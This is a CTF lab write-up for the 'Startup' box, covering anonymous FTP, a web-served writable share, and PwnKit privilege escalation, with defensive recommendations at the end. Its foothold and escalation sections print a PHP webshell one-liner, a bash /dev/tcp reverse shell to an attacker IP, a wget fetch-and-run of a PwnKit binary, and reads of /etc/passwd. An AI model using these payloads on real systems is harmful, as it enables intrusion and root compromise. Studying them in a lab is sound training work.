

CTF Writeup: "Startup"

Linux / Web — Anonymous FTP to Root via Shared Web Root and PwnKit

Difficulty: Easy-Medium

Category: Web / Linux Privesc

Techniques: Anon FTP, File Upload RCE, CVE-2021-4034

Anonymous FTP ▶ Writable Share ▶ Web-Exposed Upload ▶ PHP Webshell ▶ Reverse Shell ▶ PwnKit ▶ Root

This box is a clean example of a real-world misconfiguration chain: a file share meant to be read-only ends up writable, that share happens to be served over HTTP by the same web server, and an outdated SUID binary turns initial access into full root. None of the individual steps are exotic — the lesson is how ordinary small misconfigurations compound into full compromise.

1 Reconnaissance

Start every box the same way: a full TCP port scan with service/version detection.

```
nmap -sC -sV -p- <target-ip>
```

Results:

Port	Service	Notable detail
21/tcp	vsftpd 3.0.3	Anonymous login allowed; share is world-writable
22/tcp	OpenSSH 7.2p2	No obvious vulnerability, likely a later-stage access point
80/tcp	Apache 2.4.18	Static "Maintenance" landing page

Lesson: Anonymous FTP combined with a writable directory is one of the most common "easy win" misconfigurations in both CTFs and real penetration tests. Nmap's `ftp-anon` script flags this automatically — always read script output carefully, not just the open port list.

2 FTP Enumeration

Anonymous FTP requires a specific reserved username — not your local shell username.

```
ftp <target-ip>
Name: anonymous
Password: <blank or anything>
```

Common mistake: typing your own Kali username (e.g. `kali`) at the login prompt. FTP servers only grant passwordless access when the username is literally `anonymous` (sometimes `ftp` also works).

Two files were available: `important.jpg` and `notice.txt`.

Investigating important.jpg

Despite the `.jpg` extension, checking the file's magic bytes revealed it was actually a PNG:

```
xxd important.jpg | head -5
# 89 50 4E 47 0D 0A 1A 0A -> PNG signature, not JPEG
```

Standard steganography and metadata checks were run for completeness:

```
file important.png
exiftool important.png
binwalk important.png
zsteg important.png
```

Nothing of value was found. This turned out to be a red herring — a genuine image with no hidden payload.

Tooling pitfall: running `zsteg -a` (aggressive mode) produces dozens of false positives, since it brute-forces every bit-plane/channel/order

combination and will "detect" file signatures purely by chance. Always start with plain `zsteg` (no flags) and treat `-a` output with heavy skepticism.

Lesson: Always verify real file type with magic bytes (`file` , `xxd`) rather than trusting the extension. Not every file in a CTF is a puzzle — some are flavor text or deliberate red herrings, and recognizing a dead end quickly is as valuable as solving a real one.

3 Web Enumeration

Port 80 showed only a static placeholder page, so directory brute-forcing was used to look for hidden content:

```
gobuster dir -u http://<target-ip>/ \
-w /usr/share/wordlists/dirb/common.txt -x php,html,txt
```

This revealed a `/files` path redirecting to an Apache directory listing:

```
curl -s http://<target-ip>/files/
```

The listing showed `important.jpg` , `notice.txt` , and an `ftp/` subfolder — **the exact same content seen over FTP**. This confirmed that `/var/www/html/files/` was mounted or symlinked directly to the FTP root.

Key insight: Apache was serving the FTP directory over HTTP. Combined with the fact that the FTP share was writable, this meant any file uploaded via FTP would become both web-accessible *and* executable, since the server runs PHP.

4 Gaining a Foothold

Step 1 — Write a minimal PHP webshell

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

Step 2 — Upload it via anonymous FTP

```
ftp <target-ip>
Name: anonymous
Password: <enter>
ftp> cd ftp
ftp> put shell.php
ftp> bye
```

Step 3 — Trigger it over HTTP to confirm RCE

```
curl "http://<target-ip>/files/ftp/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Step 4 — Upgrade to an interactive reverse shell

```
# On attacker machine
nc -lvnp 4444

# Triggered via the webshell (URL-encoded)
curl "http://<target-ip>/files/ftp/shell.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/<attacker-ip>/4444+0%3E%261%27"
```

Once connected, the shell was stabilized into a usable TTY:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```

Lesson: A writable file-sharing service that is also served by a web server with script execution enabled (PHP, in this case) is effectively a file upload vulnerability, even though neither service is individually "broken." Always map out where different services' content overlaps on disk.

5 Local Enumeration

With a foothold as `www-data` , standard privilege escalation enumeration was run:

```
id
sudo -l
find / -perm -4000 -type f 2>/dev/null # SUID binaries
ls -la /home
cat /etc/passwd | grep -v nologin
cat /etc/crontab
```

Findings:

- A user `lennie` existed with a home directory (`/home/lennie`), permissions `700` — inaccessible to `www-data` .
- No usable `sudo` rights and no interesting cron jobs.
- The SUID list included `/usr/bin/pkexec` .

```
pkexec --version
# pkexec version 0.105
```

Key insight: `pkexec` versions prior to 0.120 are vulnerable to [CVE-2021-4034](#), nicknamed "PwnKit" — a local privilege escalation flaw in Polkit that lets any local user obtain a root shell with no authentication, due to a flaw in how `pkexec` handles missing command-line arguments.

6 Privilege Escalation — PwnKit (CVE-2021-4034)

A precompiled PwnKit exploit was hosted on the attacker machine and pulled onto the target:

```
# Attacker
python3 -m http.server 8000

# Target
cd /tmp
wget http://<attacker-ip>:8000/PwnKit -O PwnKit
chmod +x PwnKit
./PwnKit
```

```
id
# uid=0(root) gid=0(root) groups=0(root)
```

Troubleshooting notes from this run:

- `wget: unable to resolve host address` — caused by literally typing the placeholder `YOUR_KALI_IP` instead of the real IP address. Always substitute placeholders with actual values.
- `Text file busy` — happened when trying to re-execute a binary that was still referenced by a previous invocation. Fixed by copying it to a new filename (`cp PwnKit PwnKit2`) before re-running.
- Garbled/duplicated commands — caused by pasting multi-line blocks into an unstabilized shell, which echoed and merged input. Typing commands individually, or reconnecting with a fresh reverse shell, resolved it.

Lesson: SUID binaries are a goldmine for privilege escalation. Always check binary versions against known CVEs rather than assuming presence alone means exploitability — and expect real-world friction (typos, busy files, unstable shells) even after you've identified the correct exploit.

7 Loot

```
cat /recipe.txt
cat /home/lennie/user.txt
cat /root/root.txt
```

With root access, all restricted files became readable, completing the box.

Summary Table

Weakness	Why it mattered
Anonymous FTP enabled	Provided initial access with zero credentials
FTP share both writable and web-exposed	Turned a file share into a remote code execution primitive

PHP execution enabled on the web server	Allowed an uploaded <code>.php</code> file to run as server code, not just be served statically
Outdated pkexec (0.105)	Allowed trivial unauthenticated local root escalation
Decoy files (fake .jpg, joke notice.txt)	Tested the ability to recognize dead ends and avoid wasted effort

Defensive Recommendations

- Disable anonymous FTP unless explicitly required, and never make an anonymous share writable.
- Never serve the same directory over both FTP and HTTP, especially if either is writable.
- Disable script execution (PHP, CGI, etc.) in any directory that accepts uploads from untrusted sources.
- Patch `polkit` / `pkexec` to a version ≥ 0.120 , or apply the vendor security patch for CVE-2021-4034.
- Routinely audit SUID binaries on production systems against current CVE databases.